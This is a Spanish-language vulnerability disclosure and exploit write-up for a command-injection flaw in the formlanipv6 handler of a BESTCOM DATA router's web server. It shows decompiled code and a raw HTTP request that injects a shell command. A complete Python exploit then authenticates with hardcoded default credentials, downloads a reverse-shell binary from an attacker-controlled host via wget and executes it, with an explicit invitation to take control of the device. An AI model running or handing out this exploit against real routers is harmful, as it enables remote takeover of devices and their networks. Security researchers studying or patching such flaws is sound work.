La vulnerabilidad - Análisis Estático

Existe una vulnerabilidad en el servidor web específicamente bajo el método formlanipv6

El cual permite el pase de parámetros sin ser sanitizádos a una funcionalidad denominada va_cmd el cual invoca la función system.

Veamos la función desensamblada.

void formlanipv6(undefined4 param_1)

{
  int iVar1;
  char *pcVar2;
  int iVar3;
  char acStack56 [48];
  
  iVar1 = mib_get(0x10e,&DAT_004d285c);
  if (iVar1 != 0) {
    sprintf(acStack56,PTR_DAT_004ce684 + -0x4e24,&DAT_004d285c,0x40);
    va_cmd(&IFCONFIG,3,1,&LANIF,&ARG_DEL,acStack56);
  }
  iVar1 = boaGetVar(param_1,PTR_DAT_004ce684 + -0x4e1c,PTR_DAT_004ce684 + -0x4e10);
  if (iVar1 == 0) {
    pcVar2 = (char *)multilang(0x536);
    strcpy(&DAT_004d285c,pcVar2);
  }
  else {
    iVar3 = mib_set(0x10e,iVar1);
    if (iVar3 != 0) {
      sprintf(&DAT_004d28c0,PTR_DAT_004ce684 + -0x4e24,iVar1,0x40);
      va_cmd(&IFCONFIG,3,1,&LANIF,&ARG_ADD,&DAT_004d28c0);
      sleep(3);
      FUN_0049090c(iVar1);
      FUN_00490e10(iVar1);
      FUN_00490ec4();
      Commit();
      restartLanV6Server();
      pcVar2 = (char *)boaGetVar(param_1,PTR_DAT_004ce684 + -0x4e0c,PTR_DAT_004ce684 + -0x4e00);
      if (*pcVar2 != '\\0') {
        boaRedirect(param_1,pcVar2);
        return;
      }
      boaDone(param_1,200);
      return;
    }
    pcVar2 = (char *)multilang(0x537);
    strcpy(&DAT_004d285c,pcVar2);
  }
  boaHeader(param_1);
  boaWrite(param_1,PTR_DAT_004ce684 + -0x4dfc);
  boaWrite(param_1,PTR_DAT_004ce684 + -0x4dac,&DAT_004d285c);
  boaWrite(param_1,PTR_DAT_004ce684 + -0x4d8c);
  boaFooter(param_1);
  boaDone(param_1,200);
  return;
}

El segmento de código vulnerable es el siguiente:

  char acStack56 [48];
  
  iVar1 = mib_get(0x10e,&DAT_004d285c);
  if (iVar1 != 0) {
    sprintf(acStack56,PTR_DAT_004ce684 + -0x4e24,&DAT_004d285c,0x40);
    va_cmd(&IFCONFIG,3,1,&LANIF,&ARG_DEL,acStack56);
  }

Análisis dinámico

Puede comprobar la explotación de dicha vulnerabilidad ejecutando el siguiente fragmento de código.

POST /boaform/formlanipv6 HTTP/1.1
Host: 192.168.101.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: <http://192.168.101.1>
Connection: close
Referer: <http://192.168.101.1/ipv6.asp>
Upgrade-Insecure-Requests: 1

lanIpv6addr=$(ls > /var/tmp/sam)&submit-url=%2Fipv6.asp

Screen Shot 2022-04-12 at 4.38.12 PM.png

SI revisamos la ruta var/tmp/ podemos obtener el nuevo documento creado sam

Screen Shot 2022-04-12 at 4.39.18 PM.png

Habiendo verificado la explotabilidad de dicha vulnerabilidad haga uso del siguiente script y ejecute de forma automatizada el exploit y tome control del dispositivo.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script is a exploited trigger to vulnerability for router BESTCOM DATA lanIpv6 Config
# you can use the next users: adminisp:adminisp or e8c:1f7486ad

'''
Exploitation steps:
1. compile the reverse shell source code <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#c> under a toolchain mipsle lexra you can find the docker image below <https://hub.docker.com/r/sasaga/rsdk-lexra-toolchain> 
2. mount a local server with the compiler file which will be downloaded to the router to be exploited.
3. run the exploit
'''

import requests
import re
import argparse
from time import sleep

class ExploitLanIpv6(object):
    def __init__(self, username, password, target, lhost, lport, filename):
        self.username = username
        self.passwd = password
        self.target = target
        self.lhost = lhost
        self.lport = lport
        self.filename = filename
    
    def authenticate(self):
        self.data_auth = "username={}&psd={}".format(self.username, self.passwd)
        self.path_login = "http://{}/boaform/admin/formLogin".format(self.target)
        print("[+] Authenticating with user: {0} pwd: {1}".format(self.username, self.passwd))
        self.headers_auth = {
            'Host': '{}'.format(self.target),
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '{}'.format(str(len(self.data_auth)))
        }

        self.response_auth = requests.request("POST", self.path_login, headers=self.headers_auth, data=self.data_auth)
        if 'bad password' in self.response_auth.text:
            print("[+] Credentials Wrong")
            return
    
    def exploit(self):

        self.data = ''
        self.stages = ['lanIpv6addr=$(echo "" > /var/tmp/{})&submit-url=%2Fipv6.asp'.format(self.filename), 'lanIpv6addr=$(wget {0}:{1}/{2} -O /v*/t*/s)&submit-url=%2Fipv6.asp'.format(self.lhost, self.lport, self.filename),'lanIpv6addr=$(chmod 777 /v*/t*/s;/v*/t*/{})&submit-url=%2Fipv6.asp'.format(self.filename)]
        
        for stage in self.stages:
            self.headers = {
                'Host': '{}'.format(self.target),
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
                'Accept-Encoding': 'gzip, deflate',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Origin': 'http://{}'.format(self.target),
                'Referer': 'http://{}/ipv6.asp'.format(self.target),
                'Upgrade-Insecure-Requests': '1',
                'Content-Length': '{}'.format(str(len(stage)))
            }

            print("[+] Sending stage: {}".format(stage))
            self.response = requests.post('http://{}/boaform/formlanipv6'.format(self.target), headers=self.headers, data=stage, verify=False)
            sleep(1)
        
        print("[+] Exploit sending and Triggering Sucessfully...")
        

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter ip server local", required=True)
    parser.add_argument("--lport", dest="lport", help="Enter ip port server local", required=True)
    parser.add_argument("--filename", dest="filename", help="Enter binary filename revershell", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost and args.lport and args.filename:
        instance = ExploitLanIpv6(args.username, args.password, args.target, args.lhost, args.lport, args.filename)
        instance.authenticate()
        instance.exploit()

if __name__ == '__main__':
    main()

RCE.mp4